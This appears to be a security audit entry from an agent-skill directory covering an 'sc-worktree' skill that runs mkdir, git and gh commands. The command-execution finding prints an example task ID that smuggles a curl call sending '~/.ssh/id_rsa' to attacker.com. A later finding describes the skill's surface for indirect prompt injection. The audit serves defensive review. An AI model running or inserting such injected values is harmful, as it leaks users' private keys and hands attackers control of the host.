The Agent Skills Directory

COMMAND_EXECUTION (HIGH): The skill constructs and executes shell commands using the <task-id> parameter, specifically mkdir -p .worktrees/<task-id> and git worktree add -b wt/<task-id> .worktrees/<task-id>. Without explicit sanitization, a malicious task ID containing shell metacharacters (e.g., feature; curl http://attacker.com/$(cat ~/.ssh/id_rsa)) would lead to arbitrary command execution on the host system.
DATA_EXFILTRATION (LOW): The propose command utilizes git push and gh pr create to send local branch data to remote repositories on GitHub. While this is the intended functionality, it establishes a network-based data movement path. Since it targets a trusted domain (github.com), it is classified as LOW severity per the [TRUST-SCOPE-RULE].
INDIRECT_PROMPT_INJECTION (LOW): The skill possesses a vulnerable surface for indirect injection. 1. Ingestion points: The <task-id> and --base flags in SKILL.md. 2. Boundary markers: Absent; there are no delimiters or instructions to ignore embedded commands. 3. Capability inventory: Subprocess execution of mkdir, git, and gh across all operations. 4. Sanitization: Absent; the instructions do not specify any validation or escaping of the user-provided strings before shell interpolation.

sc-worktree